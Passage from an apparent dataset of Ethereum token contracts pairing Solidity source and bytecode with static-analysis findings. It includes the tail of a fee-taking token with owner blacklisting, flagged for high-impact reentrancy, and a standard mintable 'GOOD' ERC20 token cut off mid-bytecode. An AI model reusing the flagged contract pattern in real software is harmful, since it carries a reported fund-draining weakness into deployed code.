(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | 0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a1461031f578063c3c8cd801461033f578063c9567bf914610354578063cfe81ba014610369578063dd62ed3e1461038957600080fd5b8063715018a614610274578063842b7c08146102895780638da5cb5b146102a957806395d89b41146102d1578063a9059cbb146102ff57600080fd5b8063273123b7116100e7578063273123b7146101e1578063313ce567146102035780635932ead11461021f5780636fc3eaec1461023f57806370a082311461025457600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526009815268536e61696c20496e7560b81b60208201525b60405161015f919061187b565b60405180910390f35b34801561017457600080fd5b50610188610183366004611702565b6103cf565b604051901515815260200161015f565b3480156101a457600080fd5b506b033b2e3c9fd0803ce80000005b60405190815260200161015f565b3480156101cd57600080fd5b506101886101dc3660046116c1565b6103e6565b3480156101ed57600080fd5b506102016101fc36600461164e565b61044f565b005b34801561020f57600080fd5b506040516009815260200161015f565b34801561022b57600080fd5b5061020161023a3660046117fa565b6104a3565b34801561024b57600080fd5b506102016104eb565b34801561026057600080fd5b506101b361026f36600461164e565b610518565b34801561028057600080fd5b5061020161053a565b34801561029557600080fd5b506102016102a4366004611834565b6105ae565b3480156102b557600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102dd57600080fd5b5060408051808201909152600581526414d390525360da1b6020820152610152565b34801561030b57600080fd5b5061018861031a366004611702565b610605565b34801561032b57600080fd5b5061020161033a36600461172e565b610612565b34801561034b57600080fd5b506102016106a8565b34801561036057600080fd5b506102016106de565b34801561037557600080fd5b50610201610384366004611834565b610aa7565b34801561039557600080fd5b506101b36103a4366004611688565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103dc338484610afe565b5060015b92915050565b60006103f3848484610c22565b610445843361044085604051806060016040528060288152602001611a67602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f05565b610afe565b5060019392505050565b6000546001600160a01b031633146104825760405162461bcd60e51b8152600401610479906118d0565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104cd5760405162461bcd60e51b8152600401610479906118d0565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050b57600080fd5b4761051581610f3f565b50565b6001600160a01b0381166000908152600260205260408120546103e090610fc4565b6000546001600160a01b031633146105645760405162461bcd60e51b8152600401610479906118d0565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b0316146106005760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600a55565b60006103dc338484610c22565b6000546001600160a01b0316331461063c5760405162461bcd60e51b8152600401610479906118d0565b60005b81518110156106a45760016006600084848151811061066057610660611a17565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069c816119e6565b91505061063f565b5050565b600c546001600160a01b0316336001600160a01b0316146106c857600080fd5b60006106d330610518565b905061051581611048565b6000546001600160a01b031633146107085760405162461bcd60e51b8152600401610479906118d0565b600f54600160a01b900460ff16156107625760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107a230826b033b2e3c9fd0803ce8000000610afe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107db57600080fd5b505afa1580156107ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610813919061166b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561085b57600080fd5b505afa15801561086f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610893919061166b565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108db57600080fd5b505af11580156108ef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610913919061166b565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d719473061094381610518565b6000806109586000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109bb57600080fd5b505af11580156109cf573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109f4919061184d565b5050600f80546a295be96e6406697200000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a6f57600080fd5b505af1158015610a83573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106a49190611817565b600d546001600160a01b0316336001600160a01b031614610af95760405162461bcd60e51b815260206004820152600c60248201526b155b985d5d1a1bdc9a5e995960a21b6044820152606401610479565b600b55565b6001600160a01b038316610b605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610bc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610ce85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610d4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610d7657506000546001600160a01b03838116911614155b15610ef5576001600160a01b03831660009081526006602052604090205460ff16158015610dbd57506001600160a01b03821660009081526006602052604090205460ff16155b610dc657600080fd5b600f546001600160a01b038481169116148015610df15750600e546001600160a01b03838116911614155b8015610e1657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e2b5750600f54600160b81b900460ff165b15610e8857601054811115610e3f57600080fd5b6001600160a01b0382166000908152600760205260409020544211610e6357600080fd5b610e6e42601e611976565b6001600160a01b0383166000908152600760205260409020555b6000610e9330610518565b600f54909150600160a81b900460ff16158015610ebe5750600f546001600160a01b03858116911614155b8015610ed35750600f54600160b01b900460ff165b15610ef357610ee181611048565b478015610ef157610ef147610f3f565b505b505b610f008383836111d1565b505050565b60008184841115610f295760405162461bcd60e51b8152600401610479919061187b565b506000610f3684866119cf565b95945050505050565b600c546001600160a01b03166108fc610f598360026111dc565b6040518115909202916000818181858888f19350505050158015610f81573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f9c8360026111dc565b6040518115909202916000818181858888f193505050501580156106a4573d6000803e3d6000fd5b600060085482111561102b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b600061103561121e565b905061104183826111dc565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061109057611090611a17565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156110e457600080fd5b505afa1580156110f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061111c919061166b565b8160018151811061112f5761112f611a17565b6001600160a01b039283166020918202929092010152600e546111559130911684610afe565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061118e908590600090869030904290600401611905565b600060405180830381600087803b1580156111a857600080fd5b505af11580156111bc573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610f00838383611241565b600061104183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611338565b600080600061122b611366565b909250905061123a82826111dc565b9250505090565b600080600080600080611253876113ae565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611285908761140b565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112b4908661144d565b6001600160a01b0389166000908152600260205260409020556112d6816114ac565b6112e084836114f6565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161132591815260200190565b60405180910390a3505050505050505050565b600081836113595760405162461bcd60e51b8152600401610479919061187b565b506000610f36848661198e565b60085460009081906b033b2e3c9fd0803ce800000061138582826111dc565b8210156113a5575050600854926b033b2e3c9fd0803ce800000092509050565b90939092509050565b60008060008060008060008060006113cb8a600a54600b5461151a565b92509250925060006113db61121e565b905060008060006113ee8e87878761156f565b919e509c509a509598509396509194505050505091939550919395565b600061104183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f05565b60008061145a8385611976565b9050838110156110415760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006114b661121e565b905060006114c483836115bf565b306000908152600260205260409020549091506114e1908261144d565b30600090815260026020526040902055505050565b600854611503908361140b565b600855600954611513908261144d565b6009555050565b6000808080611534606461152e89896115bf565b906111dc565b90506000611547606461152e8a896115bf565b9050600061155f826115598b8661140b565b9061140b565b9992985090965090945050505050565b600080808061157e88866115bf565b9050600061158c88876115bf565b9050600061159a88886115bf565b905060006115ac82611559868661140b565b939b939a50919850919650505050505050565b6000826115ce575060006103e0565b60006115da83856119b0565b9050826115e7858361198e565b146110415760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b803561164981611a43565b919050565b60006020828403121561166057600080fd5b813561104181611a43565b60006020828403121561167d57600080fd5b815161104181611a43565b6000806040838503121561169b57600080fd5b82356116a681611a43565b915060208301356116b681611a43565b809150509250929050565b6000806000606084860312156116d657600080fd5b83356116e181611a43565b925060208401356116f181611a43565b929592945050506040919091013590565b6000806040838503121561171557600080fd5b823561172081611a43565b946020939093013593505050565b6000602080838503121561174157600080fd5b823567ffffffffffffffff8082111561175957600080fd5b818501915085601f83011261176d57600080fd5b81358181111561177f5761177f611a2d565b8060051b604051601f19603f830116810181811085821117156117a4576117a4611a2d565b604052828152858101935084860182860187018a10156117c357600080fd5b600095505b838610156117ed576117d98161163e565b8552600195909501949386019386016117c8565b5098975050505050505050565b60006020828403121561180c57600080fd5b813561104181611a58565b60006020828403121561182957600080fd5b815161104181611a58565b60006020828403121561184657600080fd5b5035919050565b60008060006060848603121561186257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118a85785810183015185820160400152820161188c565b818111156118ba576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119555784516001600160a01b031683529383019391830191600101611930565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561198957611989611a01565b500190565b6000826119ab57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156119ca576119ca611a01565b500290565b6000828210156119e1576119e1611a01565b500390565b60006000198214156119fa576119fa611a01565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051557600080fd5b801515811461051557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b3dff827644fc14257023a78737af352b93af171dde4e5e82ad186b9ee53770b64736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 378 |
0x1aD8e98a828D8c460e994F279E35fbE4cf213bA6 | pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
uint256 public totalSupply_;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title Commit Good token
* @dev Commit Good ERC20 Token, that inherits from standard token.
*/
contract CommitGoodToken is StandardToken, Ownable {
using SafeMath for uint256;
string public symbol = "GOOD";
string public name = "GOOD";
uint8 public decimals = 18;
uint256 public maxSupply = 200000000 * (10 ** uint256(decimals));
mapping (address => bool) public mintAgents;
bool public mintingFinished = false;
event MintAgentChanged(address indexed addr, bool state);
event Mint(address indexed to, uint256 amount);
event MintFinished();
modifier onlyMintAgent() {
require(mintAgents[msg.sender]);
_;
}
modifier canMint() {
require(!mintingFinished);
_;
}
modifier validAddress(address _addr) {
require(_addr != address(0));
require(_addr != address(this));
_;
}
/**
* @dev Owner can allow a contract to mint tokens.
*/
function setMintAgent(address _addr, bool _state) public onlyOwner validAddress(_addr) {
mintAgents[_addr] = _state;
emit MintAgentChanged(_addr, _state);
}
/**
* @dev Function to mint tokens
* @param _addr The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _addr, uint256 _amount) public onlyMintAgent canMint validAddress(_addr) returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_addr] = balances[_addr].add(_amount);
emit Mint(_addr, _amount);
emit Transfer(address(0), _addr, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() public onlyMintAgent canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
} | 0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461012257806306fdde0314610151578063095ea7b3146101e157806318160ddd1461024657806323b872dd1461027157806327e235e3146102f6578063313ce5671461034d578063324536eb1461037e57806340c10f19146103a957806342c1867b1461040e578063432146751461046957806366188463146104b857806370a082311461051d5780637d64bcb4146105745780638da5cb5b146105a357806395d89b41146105fa578063a9059cbb1461068a578063d5abeb01146106ef578063d73dd6231461071a578063dd62ed3e1461077f578063f2fde38b146107f6575b600080fd5b34801561012e57600080fd5b50610137610839565b604051808215151515815260200191505060405180910390f35b34801561015d57600080fd5b5061016661084c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101a657808201518184015260208101905061018b565b50505050905090810190601f1680156101d35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101ed57600080fd5b5061022c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ea565b604051808215151515815260200191505060405180910390f35b34801561025257600080fd5b5061025b6109dc565b6040518082815260200191505060405180910390f35b34801561027d57600080fd5b506102dc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109e6565b604051808215151515815260200191505060405180910390f35b34801561030257600080fd5b50610337600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da0565b6040518082815260200191505060405180910390f35b34801561035957600080fd5b50610362610db8565b604051808260ff1660ff16815260200191505060405180910390f35b34801561038a57600080fd5b50610393610dcb565b6040518082815260200191505060405180910390f35b3480156103b557600080fd5b506103f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd1565b604051808215151515815260200191505060405180910390f35b34801561041a57600080fd5b5061044f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102c565b604051808215151515815260200191505060405180910390f35b34801561047557600080fd5b506104b6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080351515906020019092919050505061104c565b005b3480156104c457600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ce565b604051808215151515815260200191505060405180910390f35b34801561052957600080fd5b5061055e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061145f565b6040518082815260200191505060405180910390f35b34801561058057600080fd5b506105896114a7565b604051808215151515815260200191505060405180910390f35b3480156105af57600080fd5b506105b861156b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561060657600080fd5b5061060f611591565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561064f578082015181840152602081019050610634565b50505050905090810190601f16801561067c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561069657600080fd5b506106d5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061162f565b604051808215151515815260200191505060405180910390f35b3480156106fb57600080fd5b5061070461184e565b6040518082815260200191505060405180910390f35b34801561072657600080fd5b50610765600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611854565b604051808215151515815260200191505060405180910390f35b34801561078b57600080fd5b506107e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a50565b6040518082815260200191505060405180910390f35b34801561080257600080fd5b50610837600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ad7565b005b600960009054906101000a900460ff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108e25780601f106108b7576101008083540402835291602001916108e2565b820191906000526020600020905b8154815290600101906020018083116108c557829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610a2357600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a7057600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610afb57600080fd5b610b4c826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bdf826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cb082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2f90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60006020528060005260406000206000915090505481565b600660009054906101000a900460ff1681565b60015481565b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610e2b57600080fd5b600960009054906101000a900460ff16151515610e4757600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e8457600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610ebf57600080fd5b610ed483600154611c4890919063ffffffff16565b600181905550610f2b836000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c4890919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885846040518082815260200191505060405180910390a28373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110a857600080fd5b81600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156110e557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561112057600080fd5b81600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fa09ab606a286dbc4fef3b4719193688eb1b1263b7bcf75e6b898938f5485988c83604051808215151515815260200191505060405180910390a2505050565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808311156112df576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611373565b6112f28382611c2f90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffff